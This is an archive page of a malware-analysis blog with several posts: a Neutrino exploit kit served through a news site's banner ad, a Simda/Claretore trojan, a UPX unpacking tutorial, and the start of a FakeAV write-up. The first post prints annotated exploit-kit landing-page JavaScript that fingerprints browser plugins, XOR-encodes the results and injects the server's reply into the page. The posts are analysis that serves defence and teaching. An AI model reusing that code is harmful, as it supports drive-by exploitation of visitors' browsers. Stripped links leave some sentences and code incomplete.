Sunday, October 6, 2013

Into the Maw - Hunting Malware on The Moscow Times Website

Hello, internets! I was recently contacted by @CwacCwac on Twitter with some information about malware being delivered via The Moscow Times website. He sent me a pcap, so I started digging. I had a lot of fun with it, and it's been far too long since I've written a blog post, so here we are. Let's get started...

The Entry Vector

CwacCwac told me that he wasn't always getting the page to deliver the malware, so that immediately made me think the entry vector was either something with a time or cookie-based redirect, maybe CookieBomb or Darkleech, or a rotating banner ad of some kind. As it turns out, it was the latter. occasionally pulls banners from In this case, one of the banners contains a 1x1 pixel iframe with a source tag pointing to the landing page. You can see it in the wireshark snapshot below:

We can see that it's pointing to a landing page hosted on hxxp://

The Landing Page

Following the traffic to the landing page gives away several pieces of information, seen below (Thanks to @MalForSec for being such a valuable resource!). The landing page is Neutrino Exploit Kit 
.<link href='nqysfzegyysshnu.css' rel='stylesheet'><link href='vyyuefapf.css' rel='stylesheet'><link href='qmhfiuvhnb.css' rel='stylesheet'>
.<link href='scbepbmaytlt.css' rel='stylesheet'><link href='vcehdnzg.css' rel='stylesheet'><link href='gkalbgu.css' rel='stylesheet'>
.<script src='hgqzyxntijrhe.js'></script><script src='melsrceyhntdugf.js'></script>
.<script src=""></script>.
.<script src='niongmaaukrbooot.js'></script><script src='gkck.js'></script>
.<script type="text/javascript" src="index.js"></script> //index.js here is PluginDetect v8.0
.<script src='xboshtugh.js'></script><script src='uujgv.js'></script>
  <script type="text/javascript">
  var _doc = document;
  function req(a, b, c, d, e) {
   var m = PluginDetect.getVersion, //SecMem - Using PluginDetect to detect plugin versions
    n = decodeURIComponent,
    p = encodeURIComponent,
    h = xor,
    ov = office_ver,
    g = [{
     adobe_reader: "AdobeReader"
    }, {
     java: "Java"
    }, {
     flash: "Flash"
    }, {
     quick_time: "QuickTime"
    }, {
     real_player: "RealPlayer"
    }, {
     shockwave: "Shockwave"
    }, {
     silver_light: "Silverlight"
    }, {
     vlc: "VLC"
    }, {
     wmp: "WMP"
    f = [];
   f.push("hid:::" + a);
   for (var k in g)
    for (var l in g[k]) f.push(l + ":::" + m(g[k][l]));

   f.push("of"+"fi"+"ce:"+"::" + ov());
   a = {};
   a[d] = c;
   a[e] = p(h(f.join(";;"+";"), c)); //SecMem - Join the array with ;;;, then XOR data, then encode data, then POST the data.
   $.post(b, a, function (a, b) {
    $("b"+"o"+"d"+"y").append(h(n(a), c)) //SecMem - This is the function that's going to decode commands via XOR and urldecode. Looks like this when variables replaced: xor(decodeURIComponent(a), c)) where a and c are used in the XOR function below.

  function xor(a, b) {
   for (var c = "", d = 0, e = 0, d = 0; d < a.length; d++) e = Math.floor(d % b.length), c += String.fromCharCode(a.charCodeAt(d) ^ b.charCodeAt(e));
   return c

  function office_ver() {
   var a = 0,
    b = 0;
   try {
    a = new ActiveXObject("SharePoint.OpenDocuments.4")
   } catch (c) {}
   try {
    b = new ActiveXObject("SharePoint.OpenDocuments.3")
   } catch (d) {}
   return "object" == typeof a && "object" == typeof b ? "2010" : "number" == typeof a && "object" == typeof b ? "2007" : null

  $(_doc).ready(function () {
   req("524e888caea2cc69190294b5", "tmzhlxglvpj", "ewkipl", "qvlajrdth", "wtfqgj") //SecMem - These are the variables passed into the function req() - a, b, c, d, and e respectively
 <img src='fbdt.jpg'><img src='mpxwsiedgfry.jpg'><img src='ttsvonfvi.jpg'> //SecMem - These image links will trigger GET requests for C2 commands later on.
 <img src='qaggrsvppo.png'><img src='rezjcnuvgnrvb.png'><img src='jlnwbndifweu.jpg'><img src='sfkwetzsouzcl.png'>

Encoded Communication

Once the landing page figures out what plugins the browser has and all the other objects are done loading (img tags, etc.), it forms a POST request using part of function req(). Before the POST request gets XORed and urlencoded, it looks like this:

Once it's XORed and encoded it looks like this:
The POST request is made to the server using the above data, to which the server responds with:

The .jar file

I had some issues decoding the response, but given what I know about Neutrino, I know it likely decodes to a java applet that points to a .jar file. Thankfully that was easy to verify because the very next GET request was for a .jar file, which is seen here:

I am not sure what CVE this .jar file exploits, but here's the VT report for it:

The Encoded Payload and Decoded Dropper

Following the .jar GET request, there's another GET request for what we can safely assume a binary payload. However, it doesn't look like an exe at first:

Doesn't look like an exe, however it should be pretty easy to tell that it's been XORed. Thankfully the XOR key is really simple. A little trial and error to find the XOR key and we get 6D 70 68 6A. After XORing the file with that key, it becomes much more familiar looking:

The decoded payload has a decent detection rate on VirusTotal as well:

The Dropper in Action

Based on some quick analysis, this exe appears to be a dropper. A new file named ldhpywws.exe is created under %userprofile%\Local Settings\Temp\. Below are screenshots the dropper subroutine in IDA Pro, and the actual file about to be dropped in OllyDbg.

IDA Pro, dropper subroutine:

OllyDbg, prior to the actual file drop:

Moments later, another file is dropped in the same directory - setup.dat:

I'm unsure the purpose of this file, but the data inside of it is completely unreadable. It's possible it's encrypted data that gets used later. Shortly after the .dat file gets dropped, ldhpywws.exe starts running as a subprocess of the original payload. I don't have the time to do an analysis of that file just yet, but I may be able to get to it soon. We'll see. Hope you enjoyed the read!



In a nutshell, here's what I discovered:

Saturday, August 17, 2013

Elitism: A rant by Secluded Memory

After several blog posts, it occurred to me that not everyone understands the purpose of this blog, my intent for writing, or why I don't believe in being an elitist, so I wanted to take some time to try to clear that up. There will definitely be some ranting involved here - you've been warned.

For starters, I've been extremely flattered by all of the positive feedback I've been given surrounding my various blog posts, as well as the work I've been doing as part of the MalwareMustDie community. So, to all of you who have supported me in my personal life, my professional life, and my time as a "malware crusader" - thank you.

When I write a post, there's only one place I ever post the link - Twitter. Inevitably the link seems to be passed around to various other places on the internet, which is fine. The side effect is that it reaches a much wider audience than I originally anticipated. This isn't necessarily a bad thing, but a larger viewer base means there are going to be people who simply don't like what I have to say.

If you happen to be such a reader who doesn't like what I have to say, let me be clear - I didn't create this blog for you, and I'm certainly not forcing you to read it. I created this blog to contribute something positive the community which has been so incredibly helpful in my never-ending quest to learn. I did not create a blog for people like this:

"I'm tired of things like "Look, I'm malware analyst I can post VirusTotal links to my twitter". There is only one tool for malware analysis - IDA PRO, other tools are for malware analysis cargo cult. If you are uploading file to VT then you don't do any malware analysis - you just get results from many AV vendors. I just don't get people who calls output from tools like ProcMon, or some sandboxes "malware analysis", why not a research?" - <name redacted>

Which brings me to my next point...

What does it mean to be a malware analyst?

Malware analysis involves so many different things. One of the biggest components to that involves research. We aren't here to reinvent the wheel, we're here to accomplish a task. Sometimes all we want to do is answer the question of, "what type of malware is this?" or, "what does this malware do?" and don't necessarily need to fully reverse engineer the sample. Maybe we just don't have time to do that.

Being a malware analyst means being an observer, a researcher, a hacker - an analyst. We take a piece of malware and figure out something about it that the average user doesn't know. The tools we choose to use are not what determines who we are, and the choice of tool certainly does not make one of us better than the other. I use VirusTotal because it helps point me in the right direction to start my research. If someone else has already fully reversed the sample I'm working on, why would I do it again if all I really want to do is give people an overview of my thought process for dynamic (read: behavioral) analysis? I wouldn't.

I have never claimed to be an expert at anything other than drinking and sarcasm. Just because I have a blog doesn't make me any better than anyone else. Just because I can look up something in VirusTotal doesn't mean I think I'm an expert at reverse engineering. Just because I don't think IDAPro is the only tool people should be using for malware analysis doesn't mean I'm not a malware analyst.

At the end of the day, I think we can do without the elitist attitude that certain individuals have who are also a valuable part of this very same community. Trying to keep up with the spread of malware is hard enough, we don't need to be putting each other down or trying to pretend like we're better than the next guy. We are all on the same team, so let's start acting like it. With that, I'll leave you with one question:

If we can't help each other become better at whatever it is that we're doing, then why are we here?


Sunday, August 11, 2013

The Mind of a Malware Analyst: Blogging While Doing 64-bit Malware Analysis

It certainly has been a while, hasn't it? Between playing with malware pretty much non-stop for a few months straight, followed by an unfortunate death in my family, going on vacation, and then getting sick - the combination of burnout and life getting in the way caused me to not make time to write up a post sooner.

The good news is, I'm here now, and I'm going to try something new(ish). This time around, I'm going to do an analysis on a 64-bit malware sample sent to me by @DarrelRendell. The difference here is that I don't know anything about what I'm getting into, other than the fact that it's 64-bit, before starting work on the blog post about it. That is to say, I'm writing this post as I do my analysis of it. My goal here is to give you a little glimpse into my thought process and understand the way I like to do things. This might also lead to a post that's a little more sporadic than my previous posts. With any luck, I won't hit a dead end.

The tl;dr version:

Here's the basic overview of my (dynamic) analysis process.. this gets covered in depth throughout the post
  • Gather basic info about the malware
    • md5, VirusTotal info, sigcheck, exiftool, strings
    • Make an educated guess about which malware family it belongs to
  • Use procmon and process explorer to gather behavioral information
    • Use filters in procmon to make life easier
    • Correlate behavioral information to try to more accurately identify the malware
  • Look at network traffic generated by malware (if applicable)
    • Analyze any secondary paylods

The game begins...

Basic Information Collection

Okay, let's get started. I've got my sample, so let's gather some basic info on it. Hash, header info, check for packers, strings output, etc.

First, let's run it through sigcheck:

Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals -

        Verified:       Unsigned
        Link date:      1:43 AM 2/26/2010
        Publisher:      n/a
        Description:    n/a
        Product:        n/a
        Version:        n/a
        File version:   n/a
        MD5:    464F4C6477613AAAF1F8195B5E77CAB0
        SHA1:   59D83AD05C6FB4EF1D17636692FA8CD9C60FFFC1
        PESHA1: A14BB471C1949E05C462EAB4143C494570C90944
        SHA256: DC36D538B7A1EE404DFD6E104B9A1EDD7046526E55B3F911BEEA2B422A0EB625

Followed by checking the md5 in VirusTotal... Not bad, initially it had a 19/46 detection rate. The analysis is 3 months old in VT, so let's re-upload the sample and see if we get a better detection rate and possibly some help with classification:

Okay, so we have a few more detections than the initial search I ran, up to 23/45 now. Most of the AV vendors classify this as a generic trojan. There are a few references to Kryptik, Simda, and Rodricter (which is part of the Simda family, it seems). Some quick google searching for these malware names leads to a few decent pages to research:



Note:  Later in the post I discovered that there is actually a 32-bit component in the form of Win32/Claretore, which is a member of the Simda family. More on that later.

Now that we have some reference material for when we do behavioral analysis later, lets finish collecting basic information about the file. Next, a quick auto scan via peframe:

C:\Users\admin\Desktop\Tools\PE Tools\peframe> -a C:\Users\admin\Desktop\unknown.exe
File Name:      unknown.exe
File Size:      177664 byte
Compile Time:   2010-02-26 00:43:11
DLL:            False
Sections:       5
MD5   hash:     464f4c6477613aaaf1f8195b5e77cab0
SHA-1 hash:     59d83ad05c6fb4ef1d17636692fa8cd9c60fffc1
Packer:         None
Anti Debug:     None
Anti VM:        None

File and URL:
FILE:           KERNEL32.dll
URL:            None

Suspicious API Functions:
Func. Name:     GetCommandLineA
Func. Name:     VirtualAlloc

Suspicious API Anti-Debug:

Suspicious Sections:
Sect. Name:     DATA
MD5   hash:     739c32c979bb45cad8563bfbbc15439d
SHA-1 hash:     10ba28ceb02a7479c7bc8aaaf8840ab751c71cd7
Sect. Name:     BSS
MD5   hash:     a3c0e191bd4eb60320d1e3781667397c
SHA-1 hash:     e5ed43c0c1e21bb881d3828ee7c875851a1ea5cd
Sect. Name:     .edata
MD5   hash:     90e0281621601ef5b4988bd0b9814939
SHA-1 hash:     cfaa206cc179211489c71ceb51d1e8393fbc73d9
Sect. Name:     .reloc
MD5   hash:     2c38765194d27b75f56d0565088a53ee
SHA-1 hash:     217125fcb30e489e2ecc55be03157344f4a06db8

No packer detected, so let's take a look at strings output to see if there's anything that stands out...


Those are pretty much the only readable strings in the file. "ExitVDM" in particular is something I haven't seen before. Running a quick google search for "ExitVDM" leads to a multitude of pages all related to malware, but nothing in particular stands out that allows us to identify the malware yet. These strings may be useful later, so let's keep going. Next up is exiftool output:

ExifTool Version Number         : 9.30
File Name                       : unknown.exe
Directory                       : C:/Users/admin/Desktop
File Size                       : 174 kB
File Modification Date/Time     : 2013:07:09 11:44:24-06:00
File Access Date/Time           : 2013:08:11 02:39:16-06:00
File Creation Date/Time         : 2013:08:11 02:39:16-06:00
File Permissions                : rw-rw-rw-
File Type                       : Win64 EXE
MIME Type                       : application/octet-stream
Machine Type                    : AMD AMD64
Time Stamp                      : 2010:02:26 00:43:11-07:00
PE Type                         : PE32+
Linker Version                  : 5.0
Code Size                       : 12288
Initialized Data Size           : 397312
Uninitialized Data Size         : 0
Entry Point                     : 0x1068
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI

The compile time here shows that either this was compiled in 2010, or the compile time was changed. With the fairly high detection rate, it's a safe bet to say that this is a pretty old piece of malware.

Behavioral Analysis

Next up, let's run this thing and see what it does. My standard tools for behavioral analysis are Procmon and Process Explorer, both of which can be found in Microsoft's Sysinternals Suite (you can get it here: This pretty much involves little more than setting up both programs, then executing the malware.

Upon executing the malware, nothing visibly happens, aside from the mouse cursor changing to the "busy" circle briefly. However, watching process explorer revealed a few child processes being spawned, only to be killed moments later. A few moments after that, the original exe had deleted itself. I want to get a screenshot of this happening, but it happened so fast the first time that I missed it, so I'll probably run it again later just to get a process explorer screenshot for you.

Edit: Here's a shot of the processes being spawned (or rather, being killed shortly after spawning) in process explorer:

First, it's time to analyze our Procmon logs. The first thing I like to do to get a basic idea of the meaningful things that happened is use a filter in Procmon that shows only actions that involved writing data to disk (this also includes deletions). Set Procmon filter like this:

Category is Write -- you'll have to use the dropdown to select 'category' and then enter 'write' in the text box yourself. Here's the filtered output:

Here we can see a few interesting things happening:

  • Unknown.exe creates a file: 1438bh51ova3si-0.exe
  • Unknown.exe modifies the startup entries in the registry under: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Server
  • taskhost.exe deletes internat.exe from the startup entry from the registry
  • 1438bh51ova3si-0.exe creates a file: 1bh96u1i5ix6l-0.tmp
  • 1438bh51ova3si-0.exe creates a file: v9l6rc1k3k14t-0.tmp
  • Unknown.exe attempts to delete itself (it's not successful in this screenshot, but it is successful later)
There are some other interesting behavioral things going on in this screenshot, particularly with modification of UserAssist registry keys, but I'm going to ignore that for the moment and focus on the files that were created.

The two .tmp files were deleted by the malware, but the created exe (1438bh51ova3si-0.exe) is there. Here's the sigcheck info for it:

Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals -

        Verified:       Unsigned
        Link date:      1:43 AM 2/26/2010
        Publisher:      n/a
        Description:    n/a
        Product:        n/a
        Version:        n/a
        File version:   n/a
        MD5:    464F4C6477613AAAF1F8195B5E77CAB0
        SHA1:   59D83AD05C6FB4EF1D17636692FA8CD9C60FFFC1
        PESHA1: A14BB471C1949E05C462EAB4143C494570C90944
        SHA256: DC36D538B7A1EE404DFD6E104B9A1EDD7046526E55B3F911BEEA2B422A0EB625

You'll probably notice that the hashes match the original unknown.exe file. This is simply the original exe copying itself to C:\Users\admin\AppData\Local\Temp\ under a different filename. Now that we got that part figured out, what about the other exe files? Going to have to set the lab VM up again and try to grab the .tmp files before they delete themselves.

Edit: When I did the network analysis later in this post, I was able to grab copies of the .tmp files that the main exe creates. Here's the sigcheck info on them (note the filenames are somewhat randomized):

Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals -

        Verified:       Unsigned
        Link date:      12:34 PM 3/26/2008
        Publisher:      n/a
        Description:    n/a
        Product:        n/a
        Version:        n/a
        File version:   n/a
        MD5:    C36254EBF4819085CC714442E331B6F2
        SHA1:   85E6B52A28589FC8AFD100DFAC934F4F42C0447F
        PESHA1: DFA3ABDCC9EBA9AF88D0AF08F0E15D8E30763232
        SHA256: 90C17A1DD07536E7E23A8B0B4C2FFA681741142FEAE817DEFA973C34D4F29D01

VT info(34/45):

        Verified:       Unsigned
        Link date:      1:43 AM 2/26/2010
        Publisher:      n/a
        Description:    n/a
        Product:        n/a
        Version:        n/a
        File version:   n/a
        MD5:    91C95A72D439F93939A7B0BE8C995A36
        SHA1:   BAF6A9D6E61D9F5AB391E6D241B9C96AD8B8A187
        PESHA1: C3AC273E93C6FB4A38EABEA114281667EF841074

        SHA256: 9772E4BED9AAD3A2918176D6C218FBF5B0EA65F78D107FC5A2CF5FB27938C896

VT info(9/45):

While looking through VT results I noticed references to Win32/Claretore, which is part of the Simda family. A little research lead me to this article from Microsoft. I suggest looking at that before you continue reading to see just how closely it matches up with the behavior, etc., of this sample. :)

And the strange startup entry for "Windows Update Server"? 

This is a pretty common attempt by the malware writer to throw off an average user into thinking their new startup entry is legitimate. The malware has added itself to the Run key under HKCU/Software, which will cause the malware to execute any time a user logs in (Edit: Thanks to Harlan Carvey for pointing out that I originally stated (incorrectly) that the malware would execute when the machine boots up). 

Now that we know a few things the malware does, including its persistence method, let's go back and remove the filter we set above. We're going to use a new filter: 

Process Name is unknown.exe

This shows us some more useful info, seen here:

Now things are getting more interesting.

  • Unknown.exe attempting to connect to:
  • Unknown.exe creating three new threads with the following PIDs: 1640, 1572, 504
At this point, we know now that the malware is trying to connect to something. I suspect that the process killed itself when it couldn't connect to the internet, and simply sets persistence so it will try to connect every time a user logs on. Being that this is likely some kind of backdoor trojan (based on the research we did earlier and the results from VT), the malware is probably trying to connect to something to await commands from the malware writer. This behavior also seems to match up with our research on Simda from earlier as well. Here's a brief snippet from the article on it:

Trojan:Win32/Simda connects to a remote host and provides information regarding the newly infected computer.

It then receives the configuration information on where to download additional files, and other locations from which to download additional configuration files. Downloaded files are written to the %TEMP% folder, for example C:\Users\<user name>\AppData\Local\Temp. These files may include additional malware.

My guess is the .tmp files from earlier were created by the malware when it attempted to connect to the internet, but ended up deleting them when the connection to the internet failed. We'll come back to the network traffic later when we run the malware with wireshark running. Maybe I'll get a wild hair and let my analysis VM out to the net to see if it's just a backdoor, or if it's a downloader (or both!).

Let's figure out what those PIDs are. Again we can use a filter in Procmon to filter by PID. You may notice that the threads exit not long after they are created, so it's possible that it's spawning a process that doesn't do much. Only one way to find out!

Creating 3 separate filters in Procmon to display activity from PIDs 1640, 1572, and 504 didn't display anything. This indicates that the threads were created to do something, but then ended before the threads themselves performed any actions. However, creating a filter for "Parent PID is 1376" (the PID of unknown.exe from our last screenshot) shows us actions performed by 1438bh51ova3si-0.exe which has the PID of 976, seen here:

I've pointed out the interesting parts of this that seem match up with the previous research on Simda. This appears to be the malware collecting information about the operating system and various settings, presumably to send back to the malware writer when it connects to the internet. Speaking of connecting to the internet...

Network Traffic Analysis

We already know the malware tries to get out to the net, so let's reset the lab and then capture all the traffic generated by the malware using Wireshark. In this case, I've pointed my malware analysis VM to my Remnux VM (set default gateway and DNS IP address on the analysis vm to the IP of the Remnux vm) in order to capture the traffic. Depending on what type of queries the malware makes, netcat, honeyd, ircd, or a combination of the three may be needed.

Without using anything but wireshark, we can see the malware trying to query an oddly named domain (

It also attempts to connect to the same IP address mentioned earlier: on port 80, and we need to know what it's trying to do.

How do we tackle this? honeyd to the rescue! Remnux VM has honeyd already installed, so starting it up is a manner of entering honeyd start at the terminal. Honeyd is a lightweight honeypot client that can intercept IP based traffic. In this case, I have honeyd configured to spoof a web server (using the script that's already written on Remnux). The malware wants to connect to a web server on port 80, so I'm giving it what it wants. Here's another snippet of the packet capture while honeyd is running:

We can see it issuing some GET requests for something, so following the TCP stream gets us some more intel:

The "404 Not Found" response is honeyd responding just like a real web server would. :) Notice the host: The full GET request it's issuing is: hxxp://

I attempted to wget the URL above but did not find anything. It's not surprising, but due to the age of the malware, it's likely that the web server that's hosting the malicious content is no longer live. Doing some research into the IP provides even more evidence that we are, in fact, dealing with a variant of Win32/Claretore (which is, again, part of the Win32/Simda family). The article can be found here:

Conclusion and Summary

My goal here was to accomplish a few things:

  1. Analyze the behavior of the malware, including network activity
  2. Identify with reasonable certainty the specific type of malware I was analyzing
There is certainly a lot more I could analyze here (such as the .tmp files), but I think I've accomplished my original goal quite well of giving readers some insight into malware analysis and my particular thought process, as well as my analysis process. Hope you enjoyed it! Comments are most welcome, and you can always find me via Twitter if you'd like to keep an eye on what I'm working on (or ranting about!).


Tools Used:

Tuesday, July 9, 2013

Dealing with UPX Packed Executables

I know I said my next post was going to be about decoding obfuscated Javascript using some automation. Well, that post IS coming, but @undeadsecurity challenged me to write a post on dealing with packers by 12pm CET on 07/09/2013. For reference, that is approximately four hours from now (when I started writing this post). So yeah, this post was written practically on a dare. Challenge accepted. Let's do this!

First, let's talk a little bit about packers and what they're designed to do. In a small nutshell, packers are used to scramble or encrypt the original executable to make it more difficult for the analyst/reverser to figure out. When a packed executable is run, the exe first unpacks itself, and then loads the unpacked code into RAM. Probably the most common packer we see being used with malware is UPX, so that's what I'll be focusing on with this post. I'll be showing several examples using both OllyDbg and Immunity Debugger. I prefer Immunity for most things, but OllyDbg can be useful for the large number of plugins that have been developed. We're going to cover the following items:

  • Identifying Packed Executables
  • Unpacking UPX Packed Executables
  • Maybe some extra material (shh, it's a secret, keep reading)

Identifying Packed Executables

So, how do we identify if a piece of malware is packed or not? There are several ways. One way is to use Strings from SysInternals, or the *nix native "strings" command. Generally speaking, an executable that has been packed won't have much in the way of readable strings. Let's take a quick look at string output from a packed executable. Later on, we're going to see what the strings output looks like from the unpacked version.

The sample I'm working with here is a VERY old slackbot trojan, but I think it captures the basics of packers (and how to unpack them) quite well. Some quick data on my sample:

Malware Type: Slackbot v1.0
File hash: 365E5DF06D50FAA4A1229CDCEF0EA9BF
VT Info:

So, where do we start? Let's take our original sample and see what kind of strings it gives us... I'm using Strings from SysInternals ( to get this output.

You'll notice that it actually says "UPX" multiple times in the first few readable strings. This is pretty common of UPX packed executables. The remainder of the strings output doesn't give us much, other than some Windows API hooks (which are useless as far as we're concerned at this point):

That's about it for readable strings. Ignoring the fact that UPX is clearly visible in the strings, the general lack of readable text is a good indicator that the executable is packed. However, strings output is not the only method for detecting packed executables. PEiD is another great tool that is designed to collect various pieces of information about a given PE file.

Running our executable through PEiD, it's clearly identified as being packed with UPX:

There are other ways to detect packers, but PEiD and strings output are, in my opinion, the most reliable (VirusTotal uses PEiD to detect packers, for reference.. check out the "File Detail" tab).

Now that we've identified the packed executable, I want to talk a little bit about what effects packers have on reverse engineering.

The Effect of Packers on Reversing

If you've ever loaded a packed exe into a hex editor or into something like OllyDbg or IDA, you've probably noticed that it looks a lot different from a normal, unpacked exe. Probably one of the most noticeable effects a packer has on a PE file is that it destroys the import table, masks, encrypts, or obfuscates the PE header, and makes the original entry point (OEP) hard to find. The OEP of a file marks the first instruction that is executed by the operating system when a file is executed. Here's what a packed EXE looks like in a hex editor (Note: I'm using a hex editor here because unpacked PE files have a clearly visible PE header, which I'm going to show below):

Yes, we can still see the MZ file signature and the "description" block of text... but look toward the bottom. Normally we'd expect to see section headers like .data, .text. bss, etc. Clearly those aren't visible, but you can see that the section headers are labeled UPX0, UPX1, UPX2, etc. This is yet another indicator that the file is packed -- that is, the normal section headers aren't visible.

I already know what the OEP is for this program, but let's ignore that for the moment and take a look at the packed exe in Olly:

This is just one small part of the full exe, obviously, but you'll get a lot of stuff that looks like this (and subsequently - isn't very useful) if you load a packed exe into a debugger.

Alright, so we know what a packed exe is designed to do, what they look like, and how to identify them. What next? Let's talk about unpacking the executable. I'm going to cover a few different ways, but we're going to start with the "easy" method - automated unpacking.

Unpacking UPX Packed Exectuables

When it comes to UPX packed executables, it's pretty easy to unpack them using automation. The UPX program itself will do it via the "upx -d <filename>" command, but I'm not going to talk about that here in favor of showing other methods. One program in particular that is particularly good at unpacking UPX packed files is PE Explorer. It's not free, but you can get a 30 day trial of it from the developer here:

PE Explorer has a built-in unpacking plugin for UPX, NsPack, and Upack packers. More unpacking plugins are available online, just do a google search for "<packername> PE Explorer plugin" and you're bound to find something.

So, launch PE Explorer and go to Tools > Plugin Manager:

In the plugin manager window, you'll want to set the priority for UPX Unpacker Plugin to something higher than 1. Just enter in the number in the "Set priority" text box on the right. Once you've done that, click Close. From there, we just need to open our UPX packed file in PE Explorer. If you look at the log window at the bottom, you can scroll up a bit to see that the UPX unpacker plugin is executing to unpack the exe. The cool part about PE Explorer is that it also rebuilds the import table (which is something that not all methods will do automatically):

From there, all you have to do is choose File > Save File As.. and pick a filename. I've saved this unpacked exe as tnnbtib_unpacked.exe and opened it in a hex editor so you can see the difference in the section headers, seen here:

See how we can now see the section headers for .text, .bss, .data, and .idata? This is a clue that our exe has been successfully unpacked. Strings output also changes dramatically, seen here:

You can see a lot more useful information from the strings output of an unpacked exe. There's enough information here to not only conclude that this is an IRC-controlled trojan, but also that it's a version of Slackbot. I already identified this sample at the start of this post, but I wanted to show you where the information came from. :)

Now that we've covered how to unpack executables using automated methods, let's jump head first into the deep end and talk about getting the unpacked executable using static analysis. Remember that OllyDbg screenshot above? Well, we're going to go back into Olly for this first part.

First thing's first - open the packed exe in OllyDbg. From there, you're going to want to look for a large number of repeated "DB 00" instructions. This is usually going to be near the end of the main module. 

Note: When you first open a file in Olly or Immunity, it won't show you the main module by default. You'll probably end up seeing offsets in the 77xxxxxx range. If this is the case, right click on the disassembly window > View > "Module <filename>" (here, it's "Module 'tnnbtib'").

In the case of this exe, this block of repeating instructions starts at offset 4088B4 (which is near the end of the UPX1 section if you want to try to get here via the memory window) seen below using Olly (Note that Olly and Immunity both tell you the current thread and module name in the title bar of the program - this can be helpful in identifying what you're looking at):

Note: This set of repeated instructions is typical of UPX packed executables, so your process will be different for other packers (I may do a writeup on them in the future, but being that UPX is the most common, I found this quite fitting). 

Here we can see the final instruction that occurs before the repeating instructions is: JMP 004011CB

This tells us a few things. First, we now know that the OEP of the program lies at offset 4011CB, and we also have our "key" to getting this exectuable to unpack itself for us to extract from memory.

So, what do we do with this? First, we need to set a break point on the JMP instruction that occurs right before this block of DB 00 Instructions. You can do this in Olly or Immunity by selecting the instruction and pressing F2. I'm doing it in Immunity here, but the process remains the same for OllyDbg:

Again, if you can't see the 0040xxxx range of offsets, then you're not looking at the right module. You can push Ctrl+M or click "m" on the toolbar in both Olly and Immunity to see the "memory" view. This will show you the name of a module, the starting offset, and its size. The module tnnbtb in this case starts at offset 00400000 and has a size of 6000 bytes. To change the module you're currently debugging, right click the upper left pane (the debugger frame) in Olly/Immunity and choose "View" > "Module <filename>" to select which module you want to debug.

From here, whether using Immunity or Olly, you'll want to press F9 so the execution stops at this breakpoint (may have to press it more than once - this sample requires you to press F9 three times). From there, press F8 to get the debugger to execute the JMP instruction and then pause at it's 'jump' location - offset 4011CB:

Pressing F8 has now caused the JMP instruction to execute, and execution has now stopped at offset 4011CB -- this is the OEP for the program. Conveniently, this is also the point where the unpacked exe gets loaded into RAM, so we can dump the exe from memory at this instruction and use that for future analysis. :)

Note: OllyDbg is pretty good at finding the OEP, and you may notice that when you first load an exe into Olly that OEP is already selected. This may not always happen, but it is the case with this sample. You can set a breakpoint on the OEP, run the program, and dump the process from memory at that point if you wish, it'll have the same effect in the end.

There are a couple ways of dumping the exe from memory at this point. One thing to note is that when you acquire an unpacked exe in this manner, the imports table, PE, and section headers will likely not be rebuilt, depending on the particular method you use to dump the program from memory. You'll have to do that manually (which I'll probably cover in another post at some point...). The most common way of dumping an exe from a running process is by using the OllyDump plugin. For the sake of being different, I'm going to talk about a different method: LordPE. LordPE is pretty awesome at this sort of thing - you can find more info about LordPE here:

Going back to our exe that we have sitting at our OEP, we now need to dump this exe from memory. To do this with LordPE, simply open LordPE and scroll down to the process you want to dump. From there, it's just a matter of right click > dump full.

By default, LordPE will save the file as "dumped.exe". Once it's dumped, you can go about fixing the import table, etc. However, at this point you have a fully unpacked executable with readable strings, and can decompile till your heart's content. :) Hope this helps!

Note: If you dumped your process using OllyDump, you may have fixed the import table automatically using the plugin. The Immunity version of OllyDump doesn't give you the choice to not fix imports. If you use LordPE, however, you'll have to fix the import table yourself.

Bonus Material: Using OllyDump and Rebuilding the Import Table with ImpRec

Okay, I know I said I wasn't going to cover this, but I figured I'd show you at least one method of rebuilding the import table, as well as using OllyDump to dump the executable from memory (as opposed to using LordPE).

First, let's touch briefly on using OllyDump. Note that I'm still using Immunity Debugger here, but it's the same when performed in OllyDbg.

Once you have your program execution paused on the OEP, it's simply a matter of choosing Plugins > OllyDump > Make dump of process. You'll see this window when you click it:

Notice the Entry Point is listed at offset 00008760? Well, we know that this isn't correct. Thankfully, OllyDump is smart enough to modify the OEP for us to the proper Relative Value Address (RVA) of 11CB (Note: In order to calculate the RVA of an OEP, simply subtract the Start Address from the OEP. In this case the OEP is 4011CB. The start address is 400000. So 4011CB minus 400000 = 11CB). You can see that OllyDump has an option for fixing the import table. Since we're going to be using Import Reconstructor (more below), be sure to uncheck the Rebuild Import box. If you do this with Immunity's version of OllyDump, you don't have the option of *not* fixing the import table.

Alright, let's fix our import table and be done! I prefer using a program called ImpRec which stands for "Import REConstructor". You can download it from here:

Before launching ImpRec, you'll want to be sure you have dumped your process at the OEP and also be sure you still have the debugged process running in Olly/Immunity. Once you have those things, go ahead and launch ImpRec and select the process you're currently debugging:

Notice how the OEP is still listed at RVA 8760? That's because we're working with the process that's still in memory - not the exe we previously dumped with the corrected OEP. In the OEP box, enter the RVA of the proper entry point - 11CB, then click IAT AutoSearch. If you did it correctly, you should see a message pop up about finding an IAT. Click OK on that box then click Get Imports. Once you do that, click on Fix Dump. Select the previously dumped exe and click Save. This will then add the imports as a new section on the dumped exe from earlier. Here's a quick screenshot to see what the message looks like if everything was successful:

At this point, you're done! Your new, fixed exe is saved with a "_" at the end of the filename (before the extension). Happy reversing!


Wednesday, July 3, 2013

Exploring the Darkleech Rabbit Hole - Part 3

Last week, we left off right after my VM was hijacked by a lovely piece of FakeAV malware - this is a very generic malware that effectively stops the victim from doing anything on their system under the guise of their programs being "infected". The ultimate goal of this malware is to fool the victim into purchasing a fake antivirus program in hopes of clearing up the supposed infection. In actuality, the fake AV is the infection, as opposed to the other "infections" it reports.

So, let's get to it, shall we?

6.exe FakeAV Analysis

To summarize from the last post, here's some basic info about the sample I'm working with:

File Hash: F604DAF8E12EFAE8302F0ECC2BEDC5CA

 Prior to executing the malware, I started up Desktops from Sysinternals, since I know the malware is designed to hijack the desktop (and other functionality). This should allow me to retain some functionality after the malware starts it's hijack routine. 

